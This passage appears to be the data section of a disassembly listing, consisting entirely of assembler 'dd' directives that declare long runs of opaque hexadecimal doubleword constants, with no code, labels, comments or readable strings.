		dd 0A7615646h, 0C4A0EDD0h, 20CAB579h, 0A802DC4Dh, 0F92ADD87h
		dd 3E18E0EBh, 1FB4900Dh, 40B38E4Ch, 9349421Dh, 30091EC8h
		dd 1320321h, 4102C99Eh,	14311CE0h, 0D023A925h, 0D95CBE1Fh
		dd 0FCD0848Ch, 107AF18Eh, 0FD3EAE00h, 78A72DC4h, 0F8760053h
		dd 0DDEA693Ch, 0E098931Ch, 2102B901h, 0F31E5632h, 3D2320h
		dd 0A9082A3Bh, 296EAE1Bh, 62B7312h, 139F2C40h, 1EB156Dh
		dd 3490EEB0h, 0D02B4381h, 0D061E1Ah, 2CD7AABAh,	0C0F0010h
		dd 0C625BBBDh, 0E098D1B8h, 35D92F13h, 107B875h,	5BD15140h
		dd 8861469Bh, 0E5E1C100h, 433F472h, 0DB487590h,	1500C094h
		dd 90013D4h, 3C93AF28h,	26C23Bh, 3A1A7F0h, 5CA6CC41h, 0C0633326h
		dd 65CED007h, 0CAC2E670h, 0AD80B5DEh, 0AA79B20Ah, 5A14313Ch
		dd 5B42AE00h, 0E5E413Ch, 6681BF0Dh, 67796300h, 0AB009A16h
		dd 7F7677E5h, 0DFD26Fh,	0C0D65E4Ch, 64FE6748h, 6B5A4E12h
		dd 40A6A80Eh, 6CB36594h, 0CAD3002Ch, 987EDA51h,	1F90DF8Ch
		dd 801ED439h, 0D11CDEC1h, 1D60E5h, 84D6F736h, 0EECF4681h
		dd 0F198D000h, 0DF8DFC4h, 0F365398Eh, 269C0381h, 0C03DEC3Eh
		dd 4D00FC8Dh, 4255D2Eh,	1259A2CEh, 79FA960h, 70B4E660h
		dd 28D71CA0h, 53F0CC03h, 883533B1h, 3AF3B632h, 881B254h
		dd 0ED0DB02Ch, 0A23C3423h, 81F5AA0Eh, 6F8E2027h, 5C1559ADh
		dd 605019E5h, 3CA72688h, 6B9B80B8h, 95D7C058h, 0A44B8A0h
		dd 0D81EFC78h, 4100A04Eh, 0D4AEFEECh, 0FEA47685h, 556B00BCh
		dd 19D6700Dh, 449838CEh, 0C16EE804h, 8CC012ADh,	1F2A718h
		dd 0E960073Dh, 0BD30848Fh, 0AB5E8918h, 3EB44061h, 0E48000A4h
		dd 39E06AD8h, 1B606411h, 0C7E98B28h, 10C80048h,	3E767052h
		dd 57004F91h, 0DA79E0CDh, 0D27867h, 941BCAF8h, 9D483814h
		dd 9B40EF0Eh, 11BF2359h, 147349h, 6361348Bh, 0FBD6FF81h
		dd 11ECDEF6h, 0D3160E00h, 85DE437h, 5828F069h, 1D0059F9h
		dd 0CBABB87h, 22747B97h, 0A4727D00h, 1C32FD9Dh,	0DFB0071h
		dd 5FD37347h, 0B07283ACh, 8018463Fh, 0A746B6Ah,	26EFD4CEh
		dd 80487172h, 0B7BC356Eh, 0E4AA5DB1h, 3851EC11h, 29340304h
		dd 0A84BEBCBh, 0E70506h, 6AFFC0C3h, 0FB596E4Eh,	0E0B6672Eh
		dd 22DDE101h, 0E840A245h, 9C84BE60h, 5930C008h,	0D400F5E1h
		dd 91B4E8Bh, 98156722h,	7B470010h, 3AEE746Dh, 0B0A0615Ch
		dd 7C006CA5h, 0E87135E1h, 582CDB7Bh, 54000C69h,	0A94C82CCh
		dd 36FA5C7Eh, 70A29700h, 9F6505CDh, 377C00AFh, 55936F84h
		dd 8700BD6Bh, 681D9A1Bh, 4C9E486h, 21F3E052h, 80DA85B0h
		dd 3BB5ADE3h, 0CBE5D8E5h, 54B40409h, 0AFA8003Dh, 4C6710B0h
		dd 40026CA8h
		dd 8DCF9590h, 20061460h, 0A60FF528h, 2B89F4B1h,	0B11F8133h
		dd 2AC05707h, 0C6170354h, 328CAE87h, 0CF0F39D8h, 28113B60h
		dd 600E38h, 0BDBCFB44h,	6503EF75h, 6C030CD2h, 0F22B1F0Fh
		dd 7880407Fh, 0AFFC0056h, 0C6405C51h, 647D530Ah, 0A87AD20Bh
		dd 2F480045h, 240593ECh, 3F928AA5h, 0C06A129Eh,	3A38FC28h
		dd 0FD1EA8FAh, 328056EEh, 0F404910Fh, 0B941009Dh, 61D7DDCCh
		dd 6A733F1Dh, 0D7BE007h, 7902F99h, 4EBC24h, 26B92BB1h
		dd 0F283E167h, 5A21300h, 0D43CD895h, 5069EE7Eh,	5D87D5h
		dd 17E27924h, 91CA0392h, 7B77BB01h, 11D184D2h, 98E0FBE8h
		dd 0AF1503FDh, 2B0A5E64h, 86B781EFh, 6AC0D868h,	485DDF00h
		dd 1BAD09AAh, 63D200FEh, 0B8539B32h, 183867CAh,	82F2B910h
		dd 226F3DDFh, 56398h, 0A1216E11h, 133CE90Ah, 0C8323Ch
		dd 0F19190ECh, 74A273h,	2AF8EE02h, 0FFB8E69Ch, 0A9ED6C00h
		dd 572472B2h, 0B1420079h, 0FAAA747Ch, 5CFE6A99h, 73550100h
		dd 0FEE58404h, 86BA1D96h, 9750434Bh, 4000F41Fh,	0D6A6397Ah
		dd 20FC1Eh, 0AEAA760h, 0AE13FDA2h, 1481D700h, 6E875068h
		dd 32CF00A8h, 8F55D0C0h, 0D626BD74h, 0A7008AF0h, 0BB5AFDEDh
		dd 0A08B1F3Fh, 0EE80BAEFh, 63A92112h, 5E07813Ch, 0A478B094h
		dd 972CCD80h, 744816BAh, 683500A6h, 0CE69AF43h,	72F79500h
		dd 84988C51h, 34220042h, 529713D8h, 0E7009155h,	0E9CB0FCDh
		dd 7F27FF4Ah, 0D200386h, 0EF989BF7h, 434278E0h,	0ED977300h
		dd 524FFB65h, 6A701E7h,	0D0D282A3h, 0CCC4FD4Ch,	6600F128h
		dd 0F8BF9B22h, 0BCA0F9h, 0E8B05E75h, 0BDC607EFh, 4E833000h
		dd 2608A177h, 0AF1103A4h, 0D5CD6709h, 3ED3AAD9h, 9DB49F81h
		dd 9239B30h, 0E398ADD0h, 0D22C1000h, 0C200733Dh, 0F25E921h
		dd 9E2DDBh, 0BE06483Bh,	2F28E320h, 0CF93AB00h, 0B44FECA5h
		dd 156C3DEAh, 7DDAB900h, 0D287E9C1h, 67B54000h,	0D03D0AFAh
		dd 0A6D100EBh, 0BD94EFFDh, 463F9E63h, 7D8E0030h, 914DABD7h
		dd 0E280129h, 0C874338Ah, 7162F5F0h, 9DA6D4D3h,	82824C3Fh
		dd 586ACE4Dh, 0CBBE6038h, 4FB70063h, 7BDFA48Bh,	6900E8D6h
		dd 0CF5516F0h, 6E8441h,	0DFE7A9Bh, 2BF10A93h, 0C7BEF50Fh
		dd 6FF040D7h, 0CE7B8Bh,	0C6D950E8h, 766AC217h, 945A9500h
		dd 49B0CAEh, 144D00A0h,	6B2EF950h, 0E303B242h, 0AC8B9031h
		dd 0A541E0F5h, 0E476B1h, 3D63380Eh, 0F3FEBB9Bh,	7C390D00h
		dd 0E53B7204h, 0BA7E00F6h, 37F2775Bh, 0B6F8EAFDh, 0F3786600h
		dd 7C8EDFA2h, 546B84Fh,	0C6F7F619h, 80A980B4h, 0A00EBD1h
		dd 0EA35FF50h, 0EA7AD8BEh, 278B03DEh, 7E75E243h, 0BDE02AF2h
		dd 2B009938h, 0D98FB00Dh, 5C6FCh, 5688EEB5h, 2392A90h
		dd 384AD600h, 0AB0FA4C7h, 0BCCD0054h, 488BDCAEh, 0D51FE409h
		dd 0E01F113Dh, 812996C0h, 752F15h, 50924F06h, 3A769518h
		dd 0E0F9841Fh, 0EA1B00BAh, 0B1E1CFC3h, 0F9C0046h, 0EE3007ECh
		dd 0ED009FA1h, 0E3332E6Fh, 7E14A26h, 0EA55460Bh, 0B02D67CEh
		dd 0D9A363B1h, 0C2318B05h, 5B829FEEh, 774077F0h, 4D00E171h
		dd 56589E9Ch, 63B61543h, 62E2205Ah, 0F7F945E0h,	843D0D00h
		dd 3314CC56h, 4AB900C9h, 0CB2F92B0h, 9008094h, 0AC49E1AEh
		dd 7319B6CEh, 60740E95h, 1E603268h, 78706526h, 71301700h
		dd 7BE18E7h, 350D48DBh,	1074AF00h, 76AEC828h, 34A25400h
		dd 0F85E61C9h, 2EC6007Dh, 0DC306588h, 0C8C0E062h, 5E82D6AEh
		dd 0EAC0002h, 8C2F9F89h, 56001F0Ah, 0CBAD8BB4h,	0EE34FF9h
		dd 0AEC22A9Ah, 291E0F20h, 0D663861Bh, 88289911h, 62D777h
		dd 0BD057EA5h, 0D88DC2Eh, 66203300h, 5CAC7DFAh,	0E36E00DAh
		dd 7B053E86h, 0AD0072B3h, 0F726E790h, 0CE89CCh,	96FD9DCh
		dd 4B433161h, 64906BE6h, 0ED0F24F8h, 830DF088h,	0A2B4D13Eh
		dd 1670C094h, 0AB7B002Ch, 71BC6CD3h, 0ED00BE0Fh, 7F6497D9h
		dd 4AA1E0C7h, 1E1A827h,	4A258DAAh, 59808166h, 99A7E24Bh
		dd 0C50BA39Fh, 0E6BF53h, 41397D42h, 0E1CC00C3h,	0B6ABD82Eh
		dd 3706923Fh, 8808EF23h, 77B3C40h, 0E355B480h, 41A4F09Eh
		dd 2056A8CEh, 11D37663h, 83B900A8h, 44A7C847h, 3D019C19h
		dd 95C638CFh, 4170462Ah, 40984Ch, 0CBC051FEh, 0D7F798E6h
		dd 81737701h, 0C641F4B9h, 7B270h, 0D2764778h, 0E21DCC8Fh
		dd 0C909EA00h, 12E4CB08h, 77900FAEh, 74650676h,	0AFB00E6Fh
		dd 57F23D80h, 9B4C27E7h, 76F1028Dh, 40CC5C4Bh, 9F3C0DCh
		dd 9DCBDCD7h, 5D445380h, 0D603BFE6h, 0CEE06DE9h, 0A05988D1h
		dd 3A1602BAh, 15B2331Ch, 3CBE8BE0h, 49BF0700h, 7CD78BBCh
		dd 0A14498B8h, 0E1F1980Ch, 60C09447h, 1E861420h, 93A005F2h
		dd 0C3A01FC0h, 6F0A8E50h, 98F1D5C0h, 5A1DA11Ch,	0C648097Ah
		dd 528E00E3h, 93556Eh, 6698CCC2h, 5DB8D272h, 0D5114498h
		dd 44C06383h, 22881CEEh, 69AFA00h, 897385FDh, 0EC400B8h
		dd 0AC2D5C6Ah, 0B20A8B12h, 940F7D50h, 5496A100h, 6208E7h
		dd 4FF4A0F0h, 0C647A26Bh, 0E82DE512h, 19FE6800h, 0A56685h
		dd 0BC935E0h, 894BB597h, 0CD04B60Ch, 0FA22F08Bh, 7E963387h
		dd 77C16D90h, 882726h, 8BE66776h, 994A84h, 5EB1B6B9h, 9C78C5D8h
		dd 41E4ED01h, 58127C08h, 760687C8h, 0FE470449h,	9132CCBEh
		dd 32EDCD60h, 73270F9Ch, 0BAF1A09Ch, 0C98633h, 0B0CD8F44h
		dd 5903B857h, 0AA519D00h, 65172093h, 0FA9C0168h, 1675EEE3h
		dd 81F8E841h, 20A44Dh, 1C1BB366h, 494F10Fh, 0B090C237h
		dd 13D4D7EEh, 1E003C6Ch, 1B7812Ch, 2C6490E6h, 0BE7C39A0h
		dd 525D4F80h, 7AC9EBEAh, 0E5F4100h, 498FF84h, 0ACC63D6Ah
		dd 2A230F80h, 851B83BAh, 0AA86A600h, 0FC915F96h, 66A00129h
		dd 69494771h, 0D9B9C86Dh, 5D1EBC00h, 92D88F65h,	52940401h
		dd 8070D0E2h, 0ACF7D9CFh, 639D4D00h, 73694BBFh,	8BDF0E94h
		dd 0A0EF55C0h, 99E1C7A0h, 6D0943D5h, 2ED84854h,	4B70C034h
		dd 65F4E5h, 0EEF713DEh,	6B06925Eh, 0E3C7D600h, 0C4953DAh
		dd 0DBC40020h, 3E2181ADh, 0D4543777h, 0C80E9E8Ch, 6030FB1Dh
		dd 0CB5350A7h, 5CE900A4h, 0C5643E92h, 0DA04A818h, 0FD112D45h
		dd 0A335D1C1h, 34F3070h, 51C2E18Dh, 0A8C8E869h,	0D242A6Ah
		dd 14005063h, 0E10A91A3h, 38F53E48h, 0A02D1980h, 63250787h
		dd 69669201h, 0D4D55458h, 54424h, 0E76E2F3Eh, 47468979h
		dd 2B4D8400h, 0B22C97D2h, 0E9453F12h, 96DBBF82h, 90C0E494h
		dd 833E19AAh, 0F3510053h, 0FAB7A645h, 57FB000Ch, 6643F2Dh
		dd 9B504880h, 8C9202ACh, 0A2841C26h, 0E80F9400h, 0E573E4h
		dd 7CA5593Bh, 3C2EDB4Ah, 10C6B500h, 0D1A9BDBEh,	0F0D44E16h
		dd 2000EE87h, 8C5D45CAh, 188F46FBh, 787D63A1h, 817DF9F2h
		dd 0A9FCAC18h, 2CB1B4A0h, 1846DAFDh, 7BC94142h,	0DCEA7500h
		dd 0ABF5B499h, 968D00E3h, 0E0B591D9h, 0C31E9FE4h, 554063CAh
		dd 0B0276DF6h, 2694A0DBh, 0F79C00B6h, 0F82575BCh, 230FE9DCh
		dd 0E0921C21h, 15EE7349h, 0A330008Ch, 0F5BB3EB4h, 0C0909444h
		dd 0ECBF8B24h, 6B629C60h, 91C9018Dh, 6F29D95Fh,	7440DA08h
		dd 0BE04261Fh, 0A2689D2Dh, 0BC3EF8C0h, 53B6002Fh, 609CA8F0h
		dd 8B008E16h, 0ACCA5CC5h, 73E2B047h, 6B542668h,	804600DCh
		dd 1F8B5C6h, 4BCFE00h, 4084E71Bh, 291E2BBh, 93ACFA0Eh
		dd 0B8680F10h, 8270EFF0h, 6FD10206h, 7D20FBA6h,	92A92C78h
		dd 54D801DAh
		dd 20296CF3h, 1E01E264h, 0BCA568BEh, 807093CDh,	0A9641449h
		dd 873DB439h, 58841FF2h, 0D9A880EFh, 823C6621h,	0F98FCC00h
		dd 0CB33E777h, 0E1AA0388h, 0E4BF8597h, 7BF853ABh, 0C6007562h
		dd 99B0AC15h, 14EE3F88h, 0C4E5AA7Eh, 0FE9CB40h,	26935BD6h
		dd 0B6838700h, 0FD007661h, 82F53421h, 744B67A1h, 86BA0042h
		dd 71E73645h, 0CD6019C2h, 0CF70E211h, 0D94C1D09h, 0BDFA001Dh
		dd 0C3C06C6h, 0C85E2A00h, 897F4F5h, 3F7A1DAAh, 9BFD401Bh
		dd 164846Ah, 2008C58h, 88A3C59Fh, 357C076h, 14B90Ch, 0D1663D27h
		dd 6D12E818h, 0D05EA196h, 0AC42471Dh, 0E2567F09h, 0C51E6024h
		dd 3FF600F5h, 70F93499h, 77031045h, 0FCC183EEh,	92D5D08Bh
		dd 54AA5CF1h, 0F915E01h, 9EA80BD0h, 0CD065310h,	219D5Ah
		dd 0D0B72946h, 0F14216Fh, 85F9BC01h, 0C550CD4Dh, 99DE9C0h
		dd 892EF0CAh, 0D0470087h, 0BE3269DCh, 0F4A0DF7Dh, 75004D9Bh
		dd 44DB18EFh, 0A458AFh,	93A67431h, 3880C3FCh, 24C7A00h
		dd 0C80F25A0h, 7B4005Dh, 0FD6E40D9h, 2F07148Ch,	0E9DEE07Ch
		dd 0D161B751h, 162AE8h,	0FC287DEEh, 0BCA25BCAh,	0F8A15C24h
		dd 0CE79CD00h, 8D099Fh,	2CDC3802h, 6EE775FAh, 0FE1C2200h
		dd 6547C17Ch, 0C7F42C42h, 8A5C004Ch, 19351402h,	8CB1E300h
		dd 4CBBEBCBh, 2532001Dh, 588D9F4Eh, 69011595h, 2AC99B88h
		dd 0F8E4CCF1h, 96520063h, 0B60B9C5Ah, 0A907E9F6h, 0A3E733B7h
		dd 0E0D02295h, 18D35Bh,	0E0B69180h, 693D4554h, 0EAECCDF4h
		dd 3C436E00h, 4D9CEC6Ah, 46753A68h, 0C780EB38h,	3A0D62C3h
		dd 0F600E741h, 6F71CDC0h, 0B7E1FEh, 8269DA52h, 5C4EAA67h
		dd 0C60DE900h, 0BA5793B6h, 0F4891D1Dh, 0C977C05Dh, 0D607DCCEh
		dd 1801644Bh, 0E5DE7321h, 7F0F5038h, 0F6AB09h, 0AA4E3FF2h
		dd 7B5D06F0h, 0A1EE0574h, 14C3A0F2h, 0BCC08C72h, 4B3DBE6h
		dd 4AB46764h, 9788A006h, 947E0700h, 0F2BF8730h,	0D5563D52h
		dd 1C4B279Eh, 8B68C08Ah, 49120D76h, 79637000h, 98A386D4h
		dd 72FD5C48h, 68228F00h, 0E4A4CCD1h, 69D98A00h,	340B2BA2h
		dd 871A00EAh, 0F55BC711h, 0BE000657h, 0C3DDE25Eh, 3A25B1h
		dd 7F83DE2Fh, 0FA154513h, 55AD5Ch, 0F3E4E649h, 79E8D144h
		dd 0EE5E0253h, 8A2C9338h, 130F08Ch, 31103501h, 0EF962A6Bh
		dd 82CD2080h, 785F1C3Ah, 3EECB75Fh, 4F2CD81Dh, 9CA34A49h
		dd 1077DCCBh, 701B4301h, 153354CEh, 257B7830h, 5C748329h
		dd 0AF14E800h, 3FAD95ABh, 0EC802F08h, 90DE3861h, 3A032C60h
		dd 4B04036Bh, 0A863FB53h, 5780B8h, 150F56E4h, 0FE6B51C0h
		dd 685CA100h, 9735B411h, 5DB00D2h, 368FBF89h, 9CECDDCEh
		dd 0C2BA6B00h, 0E839345Ch, 61E50087h, 0AA3D4128h, 692C852Eh
		dd 6C0E1915h, 0FE99E1A4h, 88E87D6Eh, 0AAA1008Eh, 9FEADC70h
		dd 0C40C34D1h, 700B10FFh, 0E87F26DEh, 984600CAh, 29D5E7C0h
		dd 3CFEA200h, 1A128361h, 14E4009Bh, 0C35ABE8Bh,	67284427h
		dd 0F600E071h, 0B7657977h, 17E93F9h, 0EE12695Ah, 41BEE2D9h
		dd 21C4A8ECh, 0F842C4A0h, 0CDFDBC00h, 467F0A72h, 0DA3B0E96h
		dd 9DC080E3h, 21A40E4Dh, 55007A7Ah, 667A6E0h, 860DE4h
		dd 0E6A0495Ah, 1B80317Fh, 0AF4CF300h, 6DEB3A52h, 3666309Ah
		dd 0B178D69Eh, 0B097372Ch, 73AF6400h, 0A04B5FCDh, 1DAEFBFh
		dd 477D93E9h, 20A91D70h, 73009F90h, 0AB136E5Dh,	0F959434h
		dd 14154E84h, 0A0923204h, 410B59B4h, 901658h, 37E82938h
		dd 2505E8A8h, 140F770Fh, 951D1182h, 6000B050h, 62A7BB3Ch
		dd 0E8ABB4F4h, 0BA93FCD0h, 15890B0h, 37E00244h,	0D1C829FDh
		dd 0A215600Fh, 107D3A00h, 99762584h, 86B2002Dh,	5C0189CDh
		dd 0A503645Eh, 0B4BFCE1Bh, 0B8380417h, 0C60ADFD4h, 293E89D1h
		dd 43C400F0h, 0BB55E893h, 841406A8h, 58A40894h,	44B65E15h
		dd 0BADA0094h, 0B2D4FD7Bh, 5FF51CA6h, 781840CDh, 0C38F45D2h
		dd 9C31D800h, 0B6DC9581h, 0C7F000D3h, 490B37DBh, 0E00625Fh
		dd 6E54BEFEh, 0FC88BCh,	44F7BD41h, 4DE9E25Dh, 525B5A00h
		dd 42AB70A2h, 0FCBC3B74h, 2940CD80h, 595635B9h,	0F4D3Ah
		dd 4C6AB421h, 15BA9C3h,	49B2C4Fh, 0D02F1597h, 0DC00B67Fh
		dd 60B518D8h, 745A40F3h, 41AD00AFh, 0F80BEF2Fh,	6E08832h
		dd 1E351D03h, 0A0804CB1h, 0EE7159F4h, 0D85219B3h, 40C99216h
		dd 701A658Bh, 2DD71300h, 322E3547h, 0E1340307h,	0D601515Dh
		dd 0DAD8D2B5h, 0B0010742h, 402A4E08h, 4A2F3688h, 0C00C8670h
		dd 280BB067h, 0FCC60244h, 349D08D4h, 32218324h,	10B012B4h
		dd 97899675h, 0B2449F08h, 0C5C744ACh, 10F28045h, 98884804h
		dd 7CFD40C4h, 0FFBF8244h, 6D4F2300h, 8C074BB8h,	2DCCFEBh
		dd 80F24E77h, 5A2140F8h, 0B846007Dh, 0C8905177h, 0D00E7D5h
		dd 8D75554Eh, 0F6D6C9h,	27415209h, 0C8E5AE77h, 4443F200h
		dd 3F5A7531h, 6E603C8Eh, 0D6E74B07h, 64DAD046h,	0BB002FD3h
		dd 7E20858Bh, 12C7AF0h,	0D7C7BA48h, 0D0C15B23h,	0F600F354h
		dd 53A5E8E5h, 1C93EF1Ch, 800CB8A1h, 8E5FA235h, 7E009B64h
		dd 22C0790Ah, 1FAB1129h, 80844933h, 0EEC702D0h,	3200AC35h
		dd 4ECF5EE9h, 9F75B9h, 0EF49BD9h, 380B8480h, 0C1134C16h
		dd 23B1E447h, 987B2AD3h, 2D0D34h, 5749A191h, 33B010B6h
		dd 0E0B31200h, 264637FEh, 0A283007Ch, 550FD825h, 333F456Ah
		dd 2ACD80F3h, 91A622D9h, 42EB0C4Fh, 25404B77h, 3A0F6701h
		dd 0C37D538Fh, 0BC2564EDh, 9CE094CDh, 45253E87h, 0B480E2B8h
		dd 1E029EC7h, 1200E85Ch, 0EB60313Bh, 83A151h, 61DA102Dh
		dd 9B9342F8h, 6C87AB02h, 0C0D16207h, 0EC8DC6h, 0CEAEE789h
		dd 59BA2BF5h, 5502A190h, 2AC7DE82h, 583B6349h, 4D004021h
		dd 9DCC6545h, 923E7FF8h, 790073C9h, 0E5A6ADBEh,	130C3B3Ah
		dd 0EBEC895Dh, 0D92B1B00h, 7DE2FE49h, 56380E9Ah, 1BAF1EDBh
		dd 0DF7DA7E0h, 6E00FC7Fh, 0EA6F4071h, 1AC1267h,	559C6536h
		dd 0D190C7BDh, 0D491E587h, 631DEE41h, 9800F3F7h, 85B997CBh
		dd 807F60ADh, 9314ACEFh, 0A3FCE500h, 0B4F344AFh, 6A0A039h
		dd 7F260076h, 2B839359h, 2E000E0Ah, 9749E1B7h, 0BC6151Dh
		dd 40818F36h, 0EC179500h, 0E600C19Fh, 60462D6Eh, 2C2AEEDh
		dd 8E68DA8Ah, 68484D87h, 7F001A7Ch, 0CC579EC9h,	7FDD215Eh
		dd 0FE130125h, 0A0AC2641h, 0CA4C404h, 0F8126000h, 0F33C996Dh
		dd 384848CFh, 0B64EC500h, 8CFA0D0Ah, 76E76900h,	0E15947CDh
		dd 0EDA01D4h, 6772AB95h, 0D0A841B7h, 2799D8F8h,	4C394A05h
		dd 1490D864h, 0AFC84Eh,	0F7DD2685h, 0D962FDE7h,	0E636B100h
		dd 0BD799F8Fh, 0F9420115h, 16A52EFFh, 876AD0CFh, 0F5E4D77Fh
		dd 8D557C03h, 99C5B30Ah, 18C432DEh, 2FA517CDh, 501684h
		dd 57936F11h, 60001182h, 1DA98890h, 0AC7E01h, 1B5025DFh
		dd 3B894D6Bh, 1EE1C200h, 0CAAFD814h, 54FF268h, 71D2FDFEh
		dd 0F0C6004Dh, 813136ADh, 0E3013C03h, 0C174EC96h, 0D5ECEDC0h
		dd 84D159A9h, 0CE401300h, 42BE88BBh, 670D3600h,	0E1F0C3D6h
		dd 713A00F5h, 0D76A7E6Fh, 0BD003E2Ah, 3DEF1575h, 16B90FBh
		dd 0E81874B0h, 8E7CF0E9h, 80F1813Ch, 1FC58825h,	0BA7A00B7h
		dd 0C6754B99h, 69004C98h, 16F76BEAh, 3965ED9Ah,	2F005F8Fh
		dd 0B85D9DBFh, 0DE07F945h, 0A5646FBh, 0CFAC4060h, 4DD607A8h
		dd 203E43A4h, 0F85FD280h, 0E0AF1724h, 5BBA7107h, 96650DD0h
		dd 0E41F00B8h
		dd 0F21E26BDh, 9C00C232h, 0CDB9769Bh, 215CC46h,	6899B1EDh
		dd 1060B2C1h, 0FF3EB66Eh, 67BCD0BAh, 16740E00h,	6964D8Eh
		dd 0BFDB00ECh, 0F5FC5A0Fh, 8904EA9Ch, 5B6F56ABh, 1911B8C0h
		dd 5966262Ah, 0F8BA1640h, 161A0258h, 40D64276h,	137D68E0h
		dd 0EE9E56Bh, 0CA744767h, 935AF600h, 7A5B209Fh,	0AF1B6300h
		dd 0E183E905h, 993E009Ah, 2AC847Bh, 5317402Dh, 4600FA9Bh
		dd 4DE71778h, 0D7A000Ch, 6373DD9h, 9A00CE48h, 0BA19E4D5h
		dd 0E24922AEh, 1C820099h, 67C3798Bh, 0B8007521h, 27140B4Fh
		dd 0F6302958h, 0FD5500FEh, 834838B2h, 0B51E336Ch, 17C7F774h
		dd 0E3602902h, 188DF486h, 102EF104h, 31115103h,	2F3FEDA8h
		dd 40030BDh, 9FD92933h,	0B5031FABh, 0E5BF0B40h,	130A07Bh
		dd 0F243003Ah, 145CEACCh, 820B5B73h, 8055AEC1h,	3A223F3h
		dd 32680064h, 0C41ADB0Eh, 0A305F974h, 0D8630FDCh, 503D4E80h
		dd 4EE406D6h, 105431CCh, 8C6B2500h, 0C1110108h,	0B29B127Fh
		dd 1EE00097h, 9C22AFEEh, 596528C0h, 24AEDDB8h, 0CC62E6h
		dd 44681AECh, 3A005EF9h, 58EAC33Ch, 0A567D8h, 77F666D7h
		dd 38D588D4h, 0E8280900h, 6E924CC7h, 94510091h,	8833B6E3h
		dd 260E9D2Fh, 8E73D08Ah, 42B16097h, 7A8BDF82h, 27A81DF7h
		dd 3683B96Fh, 0BFB07BA9h, 2F228DC8h, 0F863A201h, 0C7D96757h
		dd 4DDC8371h, 76C239A1h, 0F542230Eh, 72CD5540h,	0B001EF20h
		dd 0D9357825h, 0DE303657h, 0FA31FE5Dh, 32AE0759h, 131F9C2Ch
		dd 392FECBh, 0F3B0C843h, 0FFF453E8h, 0BA1B4900h, 99CC1744h
		dd 0A6B006Ah, 0FA811D6Eh, 1900B920h, 0E47472ECh, 92AC8Ah
		dd 5B079324h, 0C4E8291Dh, 5A01B300h, 47F91B40h,	211DDC6h
		dd 240A8410h, 0CA8E80FDh, 0FF52B00Dh, 3C67F4h, 73295002h
		dd 0E1FA1B42h, 0C35C2601h, 0B06389F9h, 740A830h, 2491F85Eh
		dd 0AC6DC0F7h, 0C27CB6C1h, 3A280100h, 9B65FAC4h, 0BB5D020Ah
		dd 0FFE0957Eh, 0B88BC080h, 0F300AB7Fh, 0A1702FECh, 0F0431E6h
		dd 7CE1EB7Dh, 0F9616A81h, 3549D484h, 749FB4Ch, 333B8CBDh
		dd 0E40B2560h, 908E0053h, 1609DED4h, 89005F59h,	5CAD895h
		dd 253134h, 0A28F7EEBh,	0BC3F9208h, 0CAF0C6F8h,	0DA6AC407h
		dd 1A30E727h, 0EF8D4DCh, 0CCBBFD4Bh, 1FAE0092h,	0AB9CE926h
		dd 0BAEFBC03h, 9078B102h, 0FCD6F9E7h, 3B0D2h, 8CFF7C3Fh
		dd 1029C917h, 47168600h, 69EFBB36h, 6E1300C8h, 1DB63124h
		dd 460088F3h, 4A664CBDh, 1C085B7Eh, 467C4EBAh, 1057C4B1h
		dd 7A76B00h, 5EA33C96h,	0BD2B0FE5h, 0E3C17AC5h,	0F8F8E815h
		dd 0BA817BA2h, 47FAF4h,	205D7251h, 0B3A3FF02h, 84DB4402h
		dd 80A66EC7h, 3FD868ACh, 4F610094h, 0E0D9A2C6h,	58039C47h
		dd 92EBC156h, 864E8E8h,	0FE460082h, 80CC52D7h, 4100CE12h
		dd 0C14D9203h, 4CA1F94h, 0AE619B87h, 0A5CC007Fh, 65EC273h
		dd 0F7BC86A0h, 8EE8183Fh, 89B8BF7Bh, 1A96541Fh,	86A36F05h
		dd 3936ECC3h, 11872CDEh, 0A0969982h, 0D9AC6174h, 0C65FEC00h
		dd 147DF13Dh, 0E4D30165h, 5DFBEEEAh, 0BE47F881h, 80D96803h
		dd 0F8BBEF6Ch, 3E2DFA3h, 5BECF50Dh, 80D79862h, 55F6F173h
		dd 0DA226400h, 0C9874B04h, 0C14300D3h, 9A71C6FEh, 7B005523h
		dd 6D4F157Dh, 18EF94E0h, 0A8906C2Dh, 66003B5Ah,	14926291h
		dd 774FB255h, 0FA33002Ch, 677383A3h, 0EA00CD52h, 276B0138h
		dd 1CC530h, 3A9933A7h, 23AB450Fh, 593160E6h, 5DD64C70h
		dd 2EBBFCE8h, 0A4EB42h,	0DDE9CDFAh, 0D907E879h,	613E2314h
		dd 93D851E0h, 74EF0065h, 0D16B4C8Ah, 0F20070E8h, 0D52B1DECh
		dd 96D422h, 0AF4BF4F9h,	4356BB27h, 2C5A3500h, 0D68EDBA4h
		dd 0B7A73E2Fh, 80DAAE1Fh, 94FD1417h, 82006727h,	3D9AE9F1h
		dd 842213h, 0C74385ADh,	607CE31Bh, 7DE84D0Ch, 1E6810C6h
		dd 0C06F63CCh, 9E16F94Eh, 29073EC8h, 0BBBD3FC9h, 0EF56C0B0h
		dd 0BF4C1F96h, 0AE3B0E3Ah, 4675D9Eh, 0C0537192h, 0DF2E600h
		dd 892DC100h, 0B0FA31E2h, 0C094095Eh, 2000E074h, 0A0211ACDh
		dd 34B97A00h, 0A6BBE841h, 0B80D1454h, 95019C09h, 4717408h
		dd 0CF10809Fh, 7E6C2F41h, 2C8D9852h, 284106A6h,	6EFE8Fh
		dd 6DF888B5h, 1751DDE8h, 4D2F1000h, 0B95DA482h,	4E2900EDh
		dd 248C6C77h, 0FF1DD70Bh, 3907CBDFh, 0D6205860h, 0E37166Dh
		dd 1D1838F4h, 7AAA1E80h, 517952F5h, 7964D703h, 0C04FD527h
		dd 1EA16BA4h, 0BACADC78h, 0DEAE0073h, 0EC52C61Eh, 0E900B4B0h
		dd 828A6B28h, 30D34Ch, 10ACF9C1h, 97FFC2Dh, 0A28E6007h
		dd 3C80185Dh, 18AED8EFh, 186765A3h, 0C4000479h,	43F333CEh
		dd 3EEE25B4h, 0D101B542h, 0C6DCD454h, 0EBFBFCD7h, 2F08B0A0h
		dd 83CD0F00h, 64890ADh,	74070037h, 0EB87B06Bh, 9D2EDEE9h
		dd 0BA0056BCh, 88B4EEFEh, 376F017Eh, 0AFEFFD0Bh, 33AC4089h
		dd 7900C861h, 0BBEEC2E0h, 0B96E04h, 4B27DCA7h, 26AA7D09h
		dd 84AC3E01h, 39F476D7h, 0DFE82FE4h, 0C26D87A0h, 0A5818733h
		dd 4F7DC3F8h, 8B9B0690h, 515BA001h, 9D95BF5Eh, 61421080h
		dd 0D43088CFh, 0BD78FE00h, 0E5EF0B13h, 0CCFE34h, 0AAF9C47Bh
